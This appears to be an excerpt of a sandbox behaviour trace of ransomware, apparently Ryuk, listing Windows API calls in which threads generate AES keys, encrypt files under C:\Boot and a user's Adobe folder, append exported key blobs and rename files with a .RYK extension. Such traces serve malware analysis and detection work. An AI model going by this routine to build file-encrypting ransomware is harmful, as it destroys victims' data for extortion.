	[0196.940] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.941] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Boot\\BCD.LOG.RYK" (normalized: "c:\\boot\\bcd.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1503
	os_tid = 0x1d48

	[0196.943] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 1
	[0196.944] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338
	[0196.944] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x907fc18 | out: lpFileSize=0x907fc18*=0) returned 1
	[0196.944] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x907fc28 | out: lpFileSize=0x907fc28*=0) returned 1
	[0196.944] CloseHandle (hObject=0x338) returned 1
	[0196.945] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.RYK" (normalized: "c:\\boot\\bcd.log1.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1504
	os_tid = 0x1d4c

	[0196.952] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 1
	[0197.559] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0197.559] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x926f8f8 | out: lpFileSize=0x926f8f8*=0) returned 1
	[0197.559] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x926f908 | out: lpFileSize=0x926f908*=0) returned 1
	[0197.559] CloseHandle (hObject=0x384) returned 1
	[0197.598] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.RYK" (normalized: "c:\\boot\\bcd.log2.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1598
	os_tid = 0x1ee4

	[0199.480] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst", dwFileAttributes=0x80) returned 1
	[0199.481] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0199.481] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x8ccfa58 | out: lpFileSize=0x8ccfa58*=35116) returned 1
	[0199.481] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x8ccfa68 | out: lpFileSize=0x8ccfa68*=35116) returned 1
	[0199.482] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x880a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0199.482] ReadFile (in: hFile=0x3e0, lpBuffer=0x8ccfab0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ccfa20, lpOverlapped=0x0 | out: lpBuffer=0x8ccfab0*, lpNumberOfBytesRead=0x8ccfa20*=0x19, lpOverlapped=0x0) returned 1
	[0199.496] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.497] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8ccfa38 | out: phKey=0x8ccfa38*=0x2b8e30) returned 1
	[0199.499] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.499] ReadFile (in: hFile=0x3e0, lpBuffer=0x2690000, nNumberOfBytesToRead=0x892c, lpNumberOfBytesRead=0x8ccfa44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8ccfa44*=0x892c, lpOverlapped=0x0) returned 1
	[0199.519] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ccfa40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ccfa40*=0xf4250) returned 1
	[0199.524] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8ccfa48*=0x892c, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8ccfa48*=0x8930) returned 1
	[0199.527] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.527] WriteFile (in: hFile=0x3e0, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x8930, lpNumberOfBytesWritten=0x8ccfa44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8ccfa44*=0x8930, lpOverlapped=0x0) returned 1
	[0199.528] WriteFile (in: hFile=0x3e0, lpBuffer=0x8ccfa70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ccfa50, lpOverlapped=0x0 | out: lpBuffer=0x8ccfa70*, lpNumberOfBytesWritten=0x8ccfa50*=0x6, lpOverlapped=0x0) returned 1
	[0199.528] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ccfa60 | out: pbData=0x0*, pdwDataLen=0x8ccfa60*=0x10c) returned 1
	[0199.528] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ccfad0, pdwDataLen=0x8ccfa60 | out: pbData=0x8ccfad0*, pdwDataLen=0x8ccfa60*=0x10c) returned 1
	[0199.530] WriteFile (in: hFile=0x3e0, lpBuffer=0x8ccfad0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ccfa50, lpOverlapped=0x0 | out: lpBuffer=0x8ccfad0*, lpNumberOfBytesWritten=0x8ccfa50*=0x10c, lpOverlapped=0x0) returned 1
	[0199.530] CloseHandle (hObject=0x3e0) returned 1
	[0200.268] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0200.504] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1599
	os_tid = 0x1ee8

	[0199.492] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst", dwFileAttributes=0x80) returned 1
	[0199.493] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac
	[0199.493] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x8fafc58 | out: lpFileSize=0x8fafc58*=138459) returned 1
	[0199.493] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x8fafc68 | out: lpFileSize=0x8fafc68*=138459) returned 1
	[0199.493] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x21bb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0199.493] ReadFile (in: hFile=0x3ac, lpBuffer=0x8fafcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fafc20, lpOverlapped=0x0 | out: lpBuffer=0x8fafcb0*, lpNumberOfBytesRead=0x8fafc20*=0x19, lpOverlapped=0x0) returned 1
	[0199.512] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.512] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8fafc38 | out: phKey=0x8fafc38*=0x2b8d50) returned 1
	[0199.512] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.512] ReadFile (in: hFile=0x3ac, lpBuffer=0x2980000, nNumberOfBytesToRead=0x21cdb, lpNumberOfBytesRead=0x8fafc44, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8fafc44*=0x21cdb, lpOverlapped=0x0) returned 1
	[0199.558] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fafc40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fafc40*=0xf4250) returned 1
	[0199.558] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8fafc48*=0x21cdb, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8fafc48*=0x21ce0) returned 1
	[0199.559] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.559] WriteFile (in: hFile=0x3ac, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x21ce0, lpNumberOfBytesWritten=0x8fafc44, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8fafc44*=0x21ce0, lpOverlapped=0x0) returned 1
	[0199.560] WriteFile (in: hFile=0x3ac, lpBuffer=0x8fafc70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fafc50, lpOverlapped=0x0 | out: lpBuffer=0x8fafc70*, lpNumberOfBytesWritten=0x8fafc50*=0x6, lpOverlapped=0x0) returned 1
	[0199.560] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fafc60 | out: pbData=0x0*, pdwDataLen=0x8fafc60*=0x10c) returned 1
	[0199.560] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fafcd0, pdwDataLen=0x8fafc60 | out: pbData=0x8fafcd0*, pdwDataLen=0x8fafc60*=0x10c) returned 1
	[0199.561] WriteFile (in: hFile=0x3ac, lpBuffer=0x8fafcd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fafc50, lpOverlapped=0x0 | out: lpBuffer=0x8fafcd0*, lpNumberOfBytesWritten=0x8fafc50*=0x10c, lpOverlapped=0x0) returned 1
	[0199.561] CloseHandle (hObject=0x3ac) returned 1
	[0200.949] CryptDestroyKey (hKey=0x2b8d50) returned 1
	[0200.949] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1600
	os_tid = 0x1eec

	[0199.505] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x80) returned 1
	[0199.506] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4
	[0199.506] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x90bfc78 | out: lpFileSize=0x90bfc78*=53188) returned 1
	[0199.506] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x90bfc88 | out: lpFileSize=0x90bfc88*=53188) returned 1
	[0199.506] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xcea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0199.506] ReadFile (in: hFile=0x3e4, lpBuffer=0x90bfcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90bfc40, lpOverlapped=0x0 | out: lpBuffer=0x90bfcd0*, lpNumberOfBytesRead=0x90bfc40*=0x19, lpOverlapped=0x0) returned 1
	[0199.556] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.556] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x90bfc58 | out: phKey=0x90bfc58*=0x2b8f80) returned 1
	[0199.556] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.556] ReadFile (in: hFile=0x3e4, lpBuffer=0x2f90000, nNumberOfBytesToRead=0xcfc4, lpNumberOfBytesRead=0x90bfc64, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x90bfc64*=0xcfc4, lpOverlapped=0x0) returned 1
	[0200.271] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x90bfc60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x90bfc60*=0xf4250) returned 1
	[0200.271] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x90bfc68*=0xcfc4, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x90bfc68*=0xcfd0) returned 1
	[0200.271] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.271] WriteFile (in: hFile=0x3e4, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x90bfc64, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x90bfc64*=0xcfd0, lpOverlapped=0x0) returned 1
	[0200.273] WriteFile (in: hFile=0x3e4, lpBuffer=0x90bfc90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x90bfc70, lpOverlapped=0x0 | out: lpBuffer=0x90bfc90*, lpNumberOfBytesWritten=0x90bfc70*=0x6, lpOverlapped=0x0) returned 1
	[0200.273] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x90bfc80 | out: pbData=0x0*, pdwDataLen=0x90bfc80*=0x10c) returned 1
	[0200.273] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x90bfcf0, pdwDataLen=0x90bfc80 | out: pbData=0x90bfcf0*, pdwDataLen=0x90bfc80*=0x10c) returned 1
	[0200.273] WriteFile (in: hFile=0x3e4, lpBuffer=0x90bfcf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x90bfc70, lpOverlapped=0x0 | out: lpBuffer=0x90bfcf0*, lpNumberOfBytesWritten=0x90bfc70*=0x10c, lpOverlapped=0x0) returned 1
	[0200.274] CloseHandle (hObject=0x3e4) returned 1
	[0200.975] CryptDestroyKey (hKey=0x2b8f80) returned 1
	[0200.976] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1601
	os_tid = 0x1ef0

	[0199.880] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents", dwFileAttributes=0x80) returned 1
	[0199.916] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0199.917] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x91efcf8 | out: lpFileSize=0x91efcf8*=5120) returned 1
	[0199.917] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x91efd08 | out: lpFileSize=0x91efd08*=5120) returned 1
	[0199.917] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x12de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0199.917] ReadFile (in: hFile=0x3e0, lpBuffer=0x91efd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91efcc0, lpOverlapped=0x0 | out: lpBuffer=0x91efd50*, lpNumberOfBytesRead=0x91efcc0*=0x19, lpOverlapped=0x0) returned 1
	[0199.922] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.922] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x91efcd8 | out: phKey=0x91efcd8*=0x2b9060) returned 1
	[0199.922] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0199.922] ReadFile (in: hFile=0x3e0, lpBuffer=0x3090000, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x91efce4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x91efce4*=0x1400, lpOverlapped=0x0) returned 1
	[0200.314] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x91efce0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x91efce0*=0xf4250) returned 1
	[0200.314] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x91efce8*=0x1400, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x91efce8*=0x1410) returned 1
	[0200.314] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.314] WriteFile (in: hFile=0x3e0, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x91efce4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x91efce4*=0x1410, lpOverlapped=0x0) returned 1
	[0200.314] WriteFile (in: hFile=0x3e0, lpBuffer=0x91efd10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x91efcf0, lpOverlapped=0x0 | out: lpBuffer=0x91efd10*, lpNumberOfBytesWritten=0x91efcf0*=0x6, lpOverlapped=0x0) returned 1
	[0200.314] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x91efd00 | out: pbData=0x0*, pdwDataLen=0x91efd00*=0x10c) returned 1
	[0200.314] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x91efd70, pdwDataLen=0x91efd00 | out: pbData=0x91efd70*, pdwDataLen=0x91efd00*=0x10c) returned 1
	[0200.315] WriteFile (in: hFile=0x3e0, lpBuffer=0x91efd70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x91efcf0, lpOverlapped=0x0 | out: lpBuffer=0x91efd70*, lpNumberOfBytesWritten=0x91efcf0*=0x10c, lpOverlapped=0x0) returned 1
	[0200.315] CloseHandle (hObject=0x3e0) returned 1
	[0200.996] CryptDestroyKey (hKey=0x2b9060) returned 1
	[0200.997] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1602
	os_tid = 0x1ef4

	[0200.304] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x80) returned 1
	[0200.305] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4
	[0200.306] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x8eaf958 | out: lpFileSize=0x8eaf958*=77477) returned 1
	[0200.306] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x8eaf968 | out: lpFileSize=0x8eaf968*=77477) returned 1
	[0200.306] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x12d83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0200.306] ReadFile (in: hFile=0x3e4, lpBuffer=0x8eaf9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eaf920, lpOverlapped=0x0 | out: lpBuffer=0x8eaf9b0*, lpNumberOfBytesRead=0x8eaf920*=0x19, lpOverlapped=0x0) returned 1
	[0200.359] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.359] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8eaf938 | out: phKey=0x8eaf938*=0x2b91b0) returned 1
	[0200.360] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.360] ReadFile (in: hFile=0x3e4, lpBuffer=0x3190000, nNumberOfBytesToRead=0x12ea5, lpNumberOfBytesRead=0x8eaf944, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x8eaf944*=0x12ea5, lpOverlapped=0x0) returned 1
	[0200.416] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8eaf940*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8eaf940*=0xf4250) returned 1
	[0200.416] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x8eaf948*=0x12ea5, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x8eaf948*=0x12eb0) returned 1
	[0200.417] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.417] WriteFile (in: hFile=0x3e4, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x12eb0, lpNumberOfBytesWritten=0x8eaf944, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x8eaf944*=0x12eb0, lpOverlapped=0x0) returned 1
	[0200.418] WriteFile (in: hFile=0x3e4, lpBuffer=0x8eaf970*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8eaf950, lpOverlapped=0x0 | out: lpBuffer=0x8eaf970*, lpNumberOfBytesWritten=0x8eaf950*=0x6, lpOverlapped=0x0) returned 1
	[0200.418] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8eaf960 | out: pbData=0x0*, pdwDataLen=0x8eaf960*=0x10c) returned 1
	[0200.418] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8eaf9d0, pdwDataLen=0x8eaf960 | out: pbData=0x8eaf9d0*, pdwDataLen=0x8eaf960*=0x10c) returned 1
	[0200.418] WriteFile (in: hFile=0x3e4, lpBuffer=0x8eaf9d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8eaf950, lpOverlapped=0x0 | out: lpBuffer=0x8eaf9d0*, lpNumberOfBytesWritten=0x8eaf950*=0x10c, lpOverlapped=0x0) returned 1
	[0200.418] CloseHandle (hObject=0x3e4) returned 1
	[0201.058] CryptDestroyKey (hKey=0x2b91b0) returned 1
